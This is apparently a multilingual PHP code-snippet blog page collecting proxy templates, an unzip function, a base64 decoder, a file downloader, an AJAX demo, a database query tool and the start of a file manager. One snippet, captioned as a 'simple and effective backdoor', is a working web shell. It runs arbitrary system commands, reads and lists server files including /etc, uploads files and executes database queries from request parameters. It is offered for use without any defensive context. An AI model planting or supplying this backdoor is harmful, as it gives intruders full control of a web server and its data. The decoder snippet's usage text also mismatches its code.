    preg_match_all("#<\s*([a-zA-Z\?-]+)([^>]+)>#S", $_response_body, $matches);

    for ($i = 0, $count_i = count($matches[0]); $i < $count_i; ++$i)
    {
        if (!preg_match_all("#([a-zA-Z\-\/]+)\s*(?:=\s*(?:\"([^\">]*)\"?|'([^'>]*)'?|([^'\"\s]*)))?#S", $matches[2][$i], $m, PREG_SET_ORDER))
        {
            continue;
        }
        
        $rebuild    = false;
        $extra_html = $temp = '';
        $attrs      = array();

        for ($j = 0, $count_j = count($m); $j < $count_j; $attrs[strtolower($m[$j][1])] = (isset($m[$j][4]) ? $m[$j][4] : (isset($m[$j][3]) ? $m[$j][3] : (isset($m[$j][2]) ? $m[$j][2] : false))), ++$j);
        
        if (isset($attrs['style']))
        {
            $rebuild = true;
            $attrs['style'] = proxify_inline_css($attrs['style']);
        }
        
        $tag = strtolower($matches[1][$i]);

        if (isset($tags[$tag]))
        {
            switch ($tag)
            {
                case 'a':
                    if (isset($attrs['href']))
                    {
                        $rebuild = true;
                        $attrs['href'] = complete_url($attrs['href']);
                    }
                    break;
                case 'img':
                    if (isset($attrs['src']))
                    {
                        $rebuild = true;
                        $attrs['src'] = complete_url($attrs['src']);
                    }
                    if (isset($attrs['longdesc']))
                    {
                        $rebuild = true;
                        $attrs['longdesc'] = complete_url($attrs['longdesc']);
                    }
                    break;
                case 'form':
                    if (isset($attrs['action']))
                    {
                        $rebuild = true;
                        
                        if (trim($attrs['action']) === '')
                        {
                            $attrs['action'] = $_url_parts['path'];
                        }
                        if (!isset($attrs['method']) || strtolower(trim($attrs['method'])) === 'get')
                        {
                            $extra_html = '<input type="hidden" name="' . $_config['get_form_name'] . '" value="' . encode_url(complete_url($attrs['action'], false)) . '" />';
                            $attrs['action'] = '';
                            break;
                        }
                        
                        $attrs['action'] = complete_url($attrs['action']);
                    }
                    break;
                case 'base':
                    if (isset($attrs['href']))
                    {
                        $rebuild = true;  
                        url_parse($attrs['href'], $_base);
                        $attrs['href'] = complete_url($attrs['href']);
                    }
                    break;
                case 'meta':
                    if ($_flags['strip_meta'] && isset($attrs['name']))
                    {
                        $_response_body = str_replace($matches[0][$i], '', $_response_body);
                    }
                    if (isset($attrs['http-equiv'], $attrs['content']) && preg_match('#\s*refresh\s*#i', $attrs['http-equiv']))
                    {
                        if (preg_match('#^(\s*[0-9]*\s*;\s*url=)(.*)#i', $attrs['content'], $content))
                        {                 
                            $rebuild = true;
                            $attrs['content'] =  $content[1] . complete_url(trim($content[2], '"\''));
                        }
                    }
                    break;
                case 'head':
                    if (isset($attrs['profile']))
                    {
                        $rebuild = true;
                        $attrs['profile'] = implode(' ', array_map('complete_url', explode(' ', $attrs['profile'])));
                    }
                    break;
                case 'applet':
                    if (isset($attrs['codebase']))
                    {
                        $rebuild = true;
                        $temp = $_base;
                        url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/', false), $_base);
                        unset($attrs['codebase']);
                    }
                    if (isset($attrs['code']) && strpos($attrs['code'], '/') !== false)
                    {
                        $rebuild = true;
                        $attrs['code'] = complete_url($attrs['code']);
                    }
                    if (isset($attrs['object']))
                    {
                        $rebuild = true;
                        $attrs['object'] = complete_url($attrs['object']);
                    }
                    if (isset($attrs['archive']))
                    {
                        $rebuild = true;
                        $attrs['archive'] = implode(',', array_map('complete_url', preg_split('#\s*,\s*#', $attrs['archive'])));
                    }
                    if (!empty($temp))
                    {
                        $_base = $temp;
                    }
                    break;
                case 'object':
                    if (isset($attrs['usemap']))
                    {
                        $rebuild = true;
                        $attrs['usemap'] = complete_url($attrs['usemap']);
                    }
                    if (isset($attrs['codebase']))
                    {
                        $rebuild = true;
                        $temp = $_base;
                        url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/', false), $_base);
                        unset($attrs['codebase']);
                    }
                    if (isset($attrs['data']))
                    {
                        $rebuild = true;
                        $attrs['data'] = complete_url($attrs['data']);
                    }
                    if (isset($attrs['classid']) && !preg_match('#^clsid:#i', $attrs['classid']))
                    {
                        $rebuild = true;
                        $attrs['classid'] = complete_url($attrs['classid']);
                    }
                    if (isset($attrs['archive']))
                    {
                        $rebuild = true;
                        $attrs['archive'] = implode(' ', array_map('complete_url', explode(' ', $attrs['archive'])));
                    }
                    if (!empty($temp))
                    {
                        $_base = $temp;
                    }
                    break;
                case 'param':
                    if (isset($attrs['valuetype'], $attrs['value']) && strtolower($attrs['valuetype']) == 'ref' && preg_match('#^[\w.+-]+://#', $attrs['value']))
                    {
                        $rebuild = true;
                        $attrs['value'] = complete_url($attrs['value']);
                    }
                    break;
                case 'frame':
                case 'iframe':
                    if (isset($attrs['src']))
                    {
                        $rebuild = true;
                        $attrs['src'] = complete_url($attrs['src']) . '&nf=1';
                    }
                    if (isset($attrs['longdesc']))
                    {
                        $rebuild = true;
                        $attrs['longdesc'] = complete_url($attrs['longdesc']);
                    }
                    break;
                default:
                    foreach ($tags[$tag] as $attr)
                    {
                        if (isset($attrs[$attr]))
                        {
                            $rebuild = true;
                            $attrs[$attr] = complete_url($attrs[$attr]);
                        }
                    }
                    break;
            }
        }
    
        if ($rebuild)
        {
            $new_tag = "<$tag";
            foreach ($attrs as $name => $value)
            {
                $delim = strpos($value, '"') && !strpos($value, "'") ? "'" : '"';
                $new_tag .= ' ' . $name . ($value !== false ? '=' . $delim . $value . $delim : '');
            }

            $_response_body = str_replace($matches[0][$i], $new_tag . '>' . $extra_html, $_response_body);
        }
    }
    
    if ($_flags['include_form'] && !isset($_GET['nf']))
    {
        $_url_form      = '<div style="width:100%;margin:0;text-align:center;border-bottom:1px solid #725554;color:#000000;background-color:#F2FDF3;font-size:12px;font-weight:bold;font-family:Bitstream Vera Sans,arial,sans-serif;padding:4px;">'
                        . '<form method="post" action="' . $_script_url . '">'
                        . ' <label for="____' . $_config['url_var_name'] . '"><a href="' . $_url . '">Address</a>:</label> <input id="____' . $_config['url_var_name'] . '" type="text" size="80" name="' . $_config['url_var_name'] . '" value="' . $_url . '" />'
                        . ' <input type="submit" name="go" value="Go" />'
                        . ' [go: <a href="' . $_script_url . '?' . $_config['url_var_name'] . '=' . encode_url($_url_parts['prev_dir']) .' ">up one dir</a>, <a href="' . $_script_base . '">main page</a>]'
                        . '<br /><hr />';

        foreach ($_flags as $flag_name => $flag_value)
        {
            if (!$_frozen_flags[$flag_name])
            {
                $_url_form .= '<label><input type="checkbox" name="' . $_config['flags_var_name'] . '[' . $flag_name . ']"' . ($flag_value ? ' checked="checked"' : '') . ' /> ' . $_labels[$flag_name][0] . '</label> ';
            }
        }

        $_url_form .= '</form></div>';
        $_response_body = preg_replace('#\<\s*body(.*?)\>#si', "$0\n$_url_form" , $_response_body, 1);
    }
}

$_response_keys['content-disposition'] = 'Content-Disposition';
$_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' ? 'attachment' : 'inline') . '; filename="' . $_url_parts['file'] . '"' : $_content_disp;
$_response_keys['content-length'] = 'Content-Length';
$_response_headers['content-length'][0] = strlen($_response_body);    
$_response_headers   = array_filter($_response_headers);
$_response_keys      = array_filter($_response_keys);

header(array_shift($_response_keys));
array_shift($_response_headers);

foreach ($_response_headers as $name => $array)
{
    foreach ($array as $value)
    {
        header($_response_keys[$name] . ': ' . $value, false);
    }
}

echo $_response_body;
?>


<?php 
//#######################################################
// find more codes on scripts-n-codes.blogspot.com
//#######################################################
//
// this file -> index.inc.php
//

if (basename(__FILE__) == basename($_SERVER['PHP_SELF']))
{
    exit(0);
}

echo '<?xml version="1.0" encoding="utf-8"?>';

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
  <title>PHProxy</title>
  <link rel="stylesheet" type="text/css" href="style.css" title="Default Theme" media="all" />
</head>
<body onload="document.getElementById('address_box').focus()">
<div id="container">
  <h1 id="title">PHProxy</h1>
  <ul id="navigation">
    <li><a href="<?php echo $GLOBALS['_script_base'] ?>">URL Form</a></li>
    <li><a href="javascript:alert('cookie managment has not been implemented yet')">Manage Cookies</a></li>
  </ul>
<?php

switch ($data['category'])
{
    case 'auth':
?>
  <div id="auth"><p>
  <b>Enter your username and password for "<?php echo htmlspecialchars($data['realm']) ?>" on <?php echo $GLOBALS['_url_parts']['host'] ?></b>
  <form method="post" action="">
    <input type="hidden" name="<?php echo $GLOBALS['_config']['basic_auth_var_name'] ?>" value="<?php echo base64_encode($data['realm']) ?>" />
    <label>Username <input type="text" name="username" value="" /></label> <label>Password <input type="password" name="password" value="" /></label> <input type="submit" value="Login" />
  </form></p></div>
<?php
        break;
    case 'error':
        echo '<div id="error"><p>';
        
        switch ($data['group'])
        {
            case 'url':
                echo '<b>URL Error (' . $data['error'] . ')</b>: ';
                switch ($data['type'])
                {
                    case 'internal':
                        $message = 'Failed to connect to the specified host. '
                                 . 'Possible problems are that the server was not found, the connection timed out, or the connection refused by the host. '
                                 . 'Try connecting again and check if the address is correct.';
                        break;
                    case 'external':
                        switch ($data['error'])
                        {
                            case 1:
                                $message = 'The URL you\'re attempting to access is blacklisted by this server. Please select another URL.';
                                break;
                            case 2:
                                $message = 'The URL you entered is malformed. Please check whether you entered the correct URL or not.';
                                break;
                        }
                        break;
                }
                break;
            case 'resource':
                echo '<b>Resource Error:</b> ';
                switch ($data['type'])
                {
                    case 'file_size':
                        $message = 'The file your are attempting to download is too large.<br />'
                                 . 'Maxiumum permissible file size is <b>' . number_format($GLOBALS['_config']['max_file_size']/1048576, 2) . ' MB</b><br />'
                                 . 'Requested file size is <b>' . number_format($GLOBALS['_content_length']/1048576, 2) . ' MB</b>';
                        break;
                    case 'hotlinking':
                        $message = 'It appears that you are trying to access a resource through this proxy from a remote Website.<br />'
                                 . 'For security reasons, please use the form below to do so.';
                        break;
                }
                break;
        }
        
        echo 'An error has occured while trying to browse through the proxy. <br />' . $message . '</p></div>';
        break;
}
?>
  <form method="post" action="<?php echo $_SERVER['PHP_SELF'] ?>">
    <ul id="form">
      <li id="address_bar"><label>Web Address <input id="address_box" type="text" name="<?php echo $GLOBALS['_config']['url_var_name'] ?>" value="<?php echo isset($GLOBALS['_url']) ? htmlspecialchars($GLOBALS['_url']) : '' ?>" onfocus="this.select()" /></label> <input id="go" type="submit" value="Go" /></li>
      <?php
      
      foreach ($GLOBALS['_flags'] as $flag_name => $flag_value)
      {
          if (!$GLOBALS['_frozen_flags'][$flag_name])
          {
              echo '<li class="option"><label><input type="checkbox" name="' . $GLOBALS['_config']['flags_var_name'] . '[' . $flag_name . ']"' . ($flag_value ? ' checked="checked"' : '') . ' />' . $GLOBALS['_labels'][$flag_name][1] . '</label></li>' . "\n";
          }
      }
      ?>
    </ul>
  </form>
  <!-- The least you could do is leave this link back as it is. This software is provided for free and I ask nothing in return except that you leave this link intact
       You're more likely to recieve support should you require some if I see a link back in your installation than if not -->
  <div id="footer"><a href="http://whitefyre.com/poxy/">PHProxy</a> <?php echo $GLOBALS['_version'] ?></div>
</div>
</body>
</html>

/*
--> find more codes on scripts-n-codes.blogspot.com <--
this file --> style.css
*/
body, input
{
    font-family: "Bitstream Vera Sans", Arial, Helvetica, sans-serif;
    color: #44352C;
}

a
{
    color: #9B9C83;
    text-decoration:none;
    border-bottom: 1px orange dashed;
}

a:hover 
{
    color: #0080FF;
}

#container
{
    border: 1px #9B9C83 solid;
    -moz-border-radius: 8px;
    margin: auto;
    padding: 5px;
    width: 700px;
}

#title
{
    color: #CC6633;
    margin: 0;
}

ul#navigation, ul#form
{
    list-style-type: none;
    padding: 0;
    margin: 0;
}

ul#navigation
{
    float: right;
}

ul#form
{
    clear: both;
}

ul#navigation li
{
    float: left;
    margin: 0;
    padding: 5px 0;
    border-top: 2px #BFAA9B solid;
}

ul#navigation li a
{
    font-weight: bold;
    color: #ffffff;
    background-color: #AA8E79;
    padding: 5px 15px;
    margin-left: 1px;
    text-decoration: none;
    border-bottom: 0 #ffffff solid;
}

ul#navigation li  a:hover
{
    color: #44352C;
}

ul#form li
{
    width: 700px;
}

#footer
{
    color: #9B9C83;
    font-size: small;
    text-align: right;
}

#address_bar
{
    border-top: 2px #BFAA9B solid;
    border-bottom: 3px #44352C solid;
    background-color: #AA8E79;
    text-align: center;
    padding: 5px 0;
    color: #ffffff;
}

#go
{
    background-color: #ffffff;
    font-weight: bold;
    color: #AA8E79;
    border: 0 #ffffff solid;
    padding: 2px 5px;
}

#address_box
{
    width: 500px;
}

.option
{
    padding: 2px 0;
    background-color: #EEEBEA;
}

.option label
{
    border-bottom: 2px #ffffff solid;
}

form
{
    margin: 0;
}

#error, #auth
{
    background-color: #BF6464;
    border-top: 1px solid #44352C;
    border-bottom: 1px solid #44352C;
    width: 700px;
    clear: both;
}

#auth
{
    background-color: #94C261;
}

#error p, #auth p, #auth form
{
    margin: 5px;
}

Dézipper un fichier avec PHP
Ce code crée un fonction unzip qui prend comme argument le fichier à décompresser

Unzip a file with PHP
This code creates an unzip() function which take the name of the zipped file as argument

 فتح ملف زيب بإستعمال PHP

هذا السكريبت ينشئ وظيفة unzip تأخذ اسم الملف كمدخل 

Open in a new window
<?php
//###################################################
// find more codes on scripts-n-codes.blogspot.com
//###################################################

function unzip($file, $path='', $effacer_zip=false)
{
$tab_liste_fichiers = array(); //Initialisation

$zip = zip_open($file);

if ($zip)
{
while ($zip_entry = zip_read($zip)) //Pour chaque fichier contenu dans le fichier zip
{
if (zip_entry_filesize($zip_entry) > 0)
{
$complete_path = $path.dirname(zip_entry_name($zip_entry));
   
/*On supprime les éventuels caractères spéciaux et majuscules*/
$nom_fichier = zip_entry_name($zip_entry);

$nom_fichier = strtolower($nom_fichier);
$nom_fichier = ereg_replace('[^a-zA-Z0-9.]','-',$nom_fichier);

/*On ajoute le nom du fichier dans le tableau*/
array_push($tab_liste_fichiers,$nom_fichier);
 
$complete_name = $path.$nom_fichier; //Nom et chemin de destination
 
if(!file_exists($complete_path))
{
$tmp = '';
foreach(explode('/',$complete_path) AS $k)
{
$tmp .= $k.'/';
 
if(!file_exists($tmp))
{ mkdir($tmp, 0755); }
}
}
 
/*On extrait le fichier*/
if (zip_entry_open($zip, $zip_entry, "r"))
{
$fd = fopen($complete_name, 'w');
 
fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
 
fclose($fd);
zip_entry_close($zip_entry);
}
}
}

zip_close($zip);

/*On efface éventuellement le fichier zip d'origine*/
if ($effacer_zip === true)
unlink($file);
}

return $tab_liste_fichiers;
}

/**********************************************************/

$liste = array();

$liste = unzip('phpMyAdmin-3.2.0-english.zip','pma/');

echo 'Le fichier zip contenait '.count($liste).' fichier(s) :<br />';

foreach ($liste as $nom_fichier)
{
echo $nom_fichier.'<br />';
}

?>



Décoder un base64
Utilisation:
/decode.php?c=[DATA HERE]

Decode a base64
Usage:
/decode.php?c=[DATA HERE]

فك ترميز base64

الاستعمال
/decode.php?c=[DATA HERE]

Open in a new window
<?php
//############################################
// more codes on codes-n-scripts.blogspot.com
//############################################
echo base64_decode($_GET['q']);
?> 


Télécharger régulièrement un fichier.
Ici un exemple de téléchargement de carte des températures chaque 12 heures

Download a file periodically.
Here is an example of downloading map temperatures every 12 hours

تنزيل ملف بشكل دوري.

هنا مثال عن تنزيل خريطة درجة الحرارة كل ١٢ ساعة 

Open in a new window
<?php
//##############################################################
// more scripts on scripts-n-codes.blogspot.com
//##############################################################
//
// frequently download a file
// for example here 

// File to download
$remoteFile = 'http://www.wzkarten3.de/pics/Reurmett.gif';

// Local file for saving
$localFile = "weather.gif";

// Time to cache in hours
$cacheTime = 12;

// Connection time out
$connTimeout = 10;

if(!(file_exists($localFile) && (time() - ($cacheTime * 3600) < filemtime($localFile)))){
     $url = parse_url($remoteFile);
     $host = $url['host'];
     $path = isset($url['path']) ? $url['path'] : '/';

     if (isset($url['query'])) {
          $path .= '?' . $url['query'];
     }

     $port = isset($url['port']) ? $url['port'] : '80';

     $fp = @fsockopen($host, '80', $errno, $errstr, $connTimeout );

     if(!$fp){
          // If connection failed, return the cached file
          if(file_exists($localFile)){
               readfile($localFile);
          }
     }else{
          // Header Info
          $header = "GET $path HTTP/1.0\r\n";
          $header .= "Host: $host\r\n";
          $header .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\r\n";
          $header .= "Accept: */*\r\n";
          $header .= "Accept-Language: en-us,en;q=0.5\r\n";
          $header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
          $header .= "Keep-Alive: 300\r\n";
          $header .= "Connection: keep-alive\r\n";
          $header .= "Referer: http://$host\r\n\r\n";

           $response = '';
          fputs($fp, $header);
          // Get the file content
          while($line = fread($fp, 4096)){
               $response .= $line;
          }
          fclose( $fp );

          // Remove Header Info
          $pos = strpos($response, "\r\n\r\n");
          $response = substr($response, $pos + 4);
          echo $response;

          // Save the file content
          if(!file_exists($localFile)){
               // Create the file, if it doesn't exist already
               fopen($localFile, 'w');
          }
          if(is_writable($localFile)) {
               if($fp = fopen($localFile, 'w')){
                    fwrite($fp, $response);
                    fclose($fp);
               }
          }
     }
}
?>


Un backdoor simple et efficace.
Sans commentaires

A very simple and effective backdoor.
No comments

باكدوور بسيط و فعال 

بدون تعليق 

Open in a new window
<?
//#################################################
// find more codes on scripts-n-codes.blogspot.com
//#################################################
//
// a simple php backdoor
//

ob_implicit_flush();
if(isset($_REQUEST['f'])){
        $filename=$_REQUEST['f'];
        $file=fopen("$filename","rb");
        fpassthru($file);
        die;
}
if(isset($_REQUEST['d'])){
        $d=$_REQUEST['d'];
        echo "<pre>";
        if ($handle = opendir("$d")) {
        echo "<h2>listing of $d</h2>";
                   while ($dir = readdir($handle)){ 
                       if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
       else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
                       echo "$dir\n"; 
                       echo "</font></a>";
                }
                       
        } else echo "opendir() failed";
        closedir($handle);
        die ("<hr>"); 
}
if(isset($_REQUEST['c'])){
 echo "<pre>";
 system($_REQUEST['c']);     
 die;
}
if(isset($_REQUEST['upload'])){

  if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
   else $dir=$_REQUEST['dir'];
  $fname=$HTTP_POST_FILES['file_name']['name'];
  if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
   die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){
 
 $host=$_REQUEST['host'];
 $usr=$_REQUEST['usr'];
 $passwd=$_REQUEST['passwd'];
 $db=$_REQUEST['db'];
 $mquery=$_REQUEST['mquery'];
 mysql_connect("$host", "$usr", "$passwd") or
    die("Could not connect: " . mysql_error());
    mysql_select_db("$db");
    $result = mysql_query("$mquery");
 if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);  
    mysql_free_result($result);
 die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form> 
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file">   to dir: <input type="text" name="dir">  <input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost">  user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">

database: <input type="text" name="db">  query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>




Un exemple de comment utiliser AJAX pour rafraichir une page sans l'actualiser...
Sans commentaires

An example of how to use AJAX to refresh a page without updating it ...
No comments

مثال عن كيفية إستعمال أجاكس لتحديث جزء من صفحة دون تحديثها كليا 

بدون تعليق 

Open in a new window
//##################################################
// find more codes on codes-n-scripts.blogspot.com
//##################################################
//
// this is ajax.js file
//

function createRequestObject() {
    var ro;
    var browser = navigator.appName;
    if(browser == "Microsoft Internet Explorer"){
        ro = new ActiveXObject("Microsoft.XMLHTTP");
    }else{
        ro = new XMLHttpRequest();
    }
    return ro;
}

var http = createRequestObject();

function sndReq(action) {
    http.open('get', 'ajax.php?action='+action);
    http.onreadystatechange = handleResponse;
    http.send(null);
}

function handleResponse() {
    if(http.readyState == 4){
        var response = http.responseText;
        var update = new Array();

        if(response.indexOf('|' != -1)) {
            update = response.split('|');
            document.getElementById(update[0]).innerHTML = update[1];
        }
    }
}


<?
//##################################################
// find more codes on codes-n-scripts.blogspot.com
//##################################################
//
// this is ajax.php file
//

  switch($_REQUEST['action']) {
    case 'A1':
      echo "A1|Je suis dans la case bleue";
      break;
    case 'B1':
      echo "B1|je suis dans la case verte";
      break;
  }

?>

<html><body>
<script src="ajax.js"></script>
<!-- find more codes on codes-n-scripts.blogspot.com -->
<!-- this is index.html -->
<TABLE BORDER="0">
<TR>
<TD id="A1" HEIGHT="200" WIDTH="197" BGCOLOR="blue" ALIGN="center">
</TD>
</TR>
<TR>
<TD id="B1" BGCOLOR="green" ALIGN="center">
</TD>
<TD HEIGHT="350" WIDTH="750" BGCOLOR="red" id="B2" ALIGN="center">
<a href="javascript:sndReq('A1')">Afficher un text dans la case bleue</a><BR>
<a href="javascript:sndReq('B1')">Afficher un text dans la case verte</a>
</TD>
</TR>
</TABLE>
</body></html>

Connexion à une base de données...
...Sans commentaires.

Database connection ...
... No comments.

 الاتصال بقاعدة البيانات ...

بدون تعليقات 

Open in a new window
<?
//##################################################
// find more scripts on scripts-n-codes.blogspot.com
//################## EDIT BELOW ####################
$dho = "CHANGE ME"; //hostname
$dus = "CHANGE ME"; //username
$dpa = "CHANGE ME"; //password
$ddb = "CHANGE ME"; //db user
//##################################################
?>

<html>
<head>
<title>Codes | Scripts</title>
<style>
.fonta{font-family: san-serif; font-weight: 600; color: #629669; font-size: 17px;}
.mainstyle{font-family: san-serif; font-weight: 600; color: #ffffff; font-size: 17px; height: 22px;}
.mainstyle:hover{TEXT-DECORATION: none; color: #236623;}
.mainstyle2{ font-family: san-serif; font-weight: 600; color: #7d7d7d; font-size: 17px; height: 22px;}
.mainstyle2:hover{TEXT-DECORATION: none; color: #552255;}
</style>
</head>
<body style="border: 5px solid #000000; margin: 0px; font-family: arial, verdana, san-serif; font-size: 14px;">
<?php
$type=$_POST['type'];
$qtext = $_POST['qtext'];
$qtext = str_replace("\\","",$qtext);
$user = $_POST['user'];
$pass = $_POST['pass'];
$host = $_POST['host'];
$dbn = $_POST['dbname'];

if($user != "" && $host != "" && $dbn != "")
{
 $hostname = $host;
 $username = $user;
 $password = $pass;
 $dbname = $dbn;
}

$db = @mysql_connect($hostname, $username,$password);
if(!$db)
 $con = "conf";
else if(!@mysql_select_db($dbname,$db))
 $con = "dbnf";
?>

<table width=100% height=100% bgcolor=#adadad border=0 cellpadding=0 cellspacing=0
style="font-family: arial, verdana, san-serif; font-size: 14px;">
<tr bgcolor=#989898 height=60>
<td height=60 bgcolor=#000000 style="font-family: san-serif; font-weight: 600; 
color: #EEEEEE; font-size: 17px;" align=center>
HIOX DBQ 1.1<br>
<font size=-1><a style="color: #dddddd;" href="http://www.hscripts.com">www. h s c r i p t s .com</a></font>
</td>
</tr>

<script language=javascript>
function changae()
{
 var ss = document.ssd.dd.value;
 document.form15.qtext.value = ss;
}

function confirmDel()
{
 document.form15.user.value = document.f14.un.value;
 document.form15.pass.value = document.f14.pw.value;
 document.form15.host.value = document.f14.hn.value;
 document.form15.dbname.value = document.f14.dbn.value;
 var sss = document.form15.qtext.value;
 if(sss.indexOf("delete") != -1   ||  sss.indexOf("alter") != -1)
 {
  var dd = confirm("You are trying to do a delete or modify operation, press ok to continue.");
  if(dd == true)
   return true;
  else
   return false;
 }
}

function changedef()
{
 document.f14.hn.value = document.f14.hh.value;
 document.f14.un.value = document.f14.uu.value;
 document.f14.pw.value = document.f14.pp.value;
 document.f14.dbn.value = document.f14.dd.value;
}
</script>

<tr bgcolor=#989878 height=90%>
<td width=100% align=center valign=top>
<br>
<table cellpadding=0 cellspacing=0 align=center style="background-color: #efaaff; 
padding: 1px; font-family: arial, verdana, san-serif;" border=1>
<tr align=center><td></td><td>Host</td><td>DB Name</td><td>User</td><td>Pass</td></tr>
<tr><td><form name=f14 onsubmit="return false">
     <input type=button name=def value=def onclick="changedef()"></input></td>
<td><input size=10 type=text name=hn value="<?php echo($hostname); ?>"></input></td>
<td><input size=10 type=text name=dbn value="<?php echo($dbname); ?>"></input></td>
<td><input size=10 type=text name=un value="<?php echo($username); ?>"></input></td>
<td><input size=10 type=text name=pw value="<?php echo($password); ?>"></input></td>
<input type=hidden name=uu value="<?php echo($dus); ?>"></input>
<input type=hidden name=pp value="<?php echo($dpa); ?>"></input>
<input type=hidden name=dd value="<?php echo($ddb); ?>"></input>
<input type=hidden name=hh value="<?php echo($dho); ?>"></input></form>
</tr>
<tr><td colspan=5>
<form name=ssd>
<select name=dd onchange="changae()" size=2 style="width:410px;">
<option value="select * from ">select * from </option>
<option value="select count(*) from ">select count(*) from </option>
<option value="show tables">show tables</option>
<option value="show databases">show databases</option>
<option value="insert in to ">insert in to </option>
<option value="desc">desc</option>
</select>
</form>
</td></tr>
</table>
<br>


<form name="form15" method="post" action="dbq.php" onsubmit="return confirmDel()">
<input type="hidden" name="user"  value="<?php echo($username);?>">
<input type="hidden" name="pass" value="<?php echo($password);?>" >
<input type="hidden" name="host" value="<?php echo($hostname);?>" >
<input type="hidden" name="dbname" value="<?php echo($dbname);?>" >
<input type="hidden" name="type" value="query" >
Query <input type="text" name="qtext" value="<?php echo($qtext);?>" size=60>
<input type="Submit" name="submit" value="Go">
</form>
<br>

<?php
if($con == "dbnf")
 echo "<font color=red>Wrong database name<br></font>";

if($con == "conf")
 echo "<font color=red>Connection Failed<br></font>";
else if($type =="query")
{
 $qtext2 = str_replace("\\", " ", $qtext);
 if($qtext2 == "")
 {
  echo "Please enter a proper query";
 } 
 else
 {
  if($result = mysql_query("$qtext2",$db))
   echo "Successly Exected - ";
  else
   echo "<font color=red>Not able to execute the query<br>Either the 
    table doesnot exist or a wrong query.</font><br><br>";

  echo("Query is : ");
  echo("<font color=blue>".$qtext2."</font>");
  echo "<table border=1 cellpadding=0 cellspacing=0 width=80% style=\"font-size: 14px; font-family: arial;\"> 
  <tr bgcolor=green align=center style=\"font-weight: bold;\">\n";

  $sds = @mysql_num_fields($result);
  for($ss=0; $ss<$sds; $ss++)
  {
   $ee = @mysql_field_name($result,$ss);
   echo "<td bgcolor=green>$ee</td>";  
  }
     echo "</tr>\n";

  $vv = true;
  while ($line = @mysql_fetch_array($result, MYSQL_ASSOC)) {
   if($vv === true){
      echo "<tr align=center bgcolor=#ffeeff>\n";
   $vv = false;
   }
   else{
      echo "<tr align=center bgcolor=#ffccff>\n";
   $vv = true;
   }
     foreach ($line as $col_value) {
         echo "<td>$col_value</td>\n";
      }
     echo "</tr>\n";
  }
  echo "</table>\n";
  /* Free resultset */
  @mysql_free_result($result);
 }
}

?>
</td>
</tr>

<tr bgcolor=#989878>
<td  align=center valign=top  bgcolor=#969476>
<br>
<font size=-1>
Ubugnu | <a href='http://scripts-n-codes.blogspot.com'>http://scripts-n-codes.blogspot.com</a>
</font>
</td>
</tr>

</table>
</body>
</html>



Gestionnaire de fichiers..

... Effacer, renommer, éditer, copier/coller, couper/coller, chmod'er,...

A file Manager...

... Delete, rename, edit, copy/paste, cut/paste, chmod's...

إدارة الملفات

حذف تسمية وتحرير ونسخ/لصق ، قص/لصق

Open in a new window
<?php
/*
 * webadmin.php - a simple Web-based file manager
 * Copyright (C) 2004  Daniel Wacker <daniel.wacker@web.de>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 10
 * =========================================================================
 *
 * Changes of revision 10
 * <alex-smirnov@web.de>
 *    added Russian translation
 * <daniel.wacker@web.de>
 *    added </td> to achieve valid XHTML (thanks to Marc Magos)
 *    improved delete function
 * <ava@asl.se>
 *    new list order: folders first
 *
 * Changes of revision 9
 * <daniel.wacker@web.de>
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * <okankan@stud.sdu.edu.tr>
 *    added Turkish translation
 * <j@kub.cz>
 *    added Czech translation
 * <daniel.wacker@web.de>
 *    improved charset handling
 *
 * Changes of revision 7
 * <szuniga@vtr.net>
 *    added Spanish translation
 * <lars@soelgaard.net>
 *    added Danish translation
 * <daniel.wacker@web.de>
 *    improved rename dialog
 *
 * Changes of revision 6
 * <nederkoorn@tiscali.nl>
 *    added Dutch translation
 *
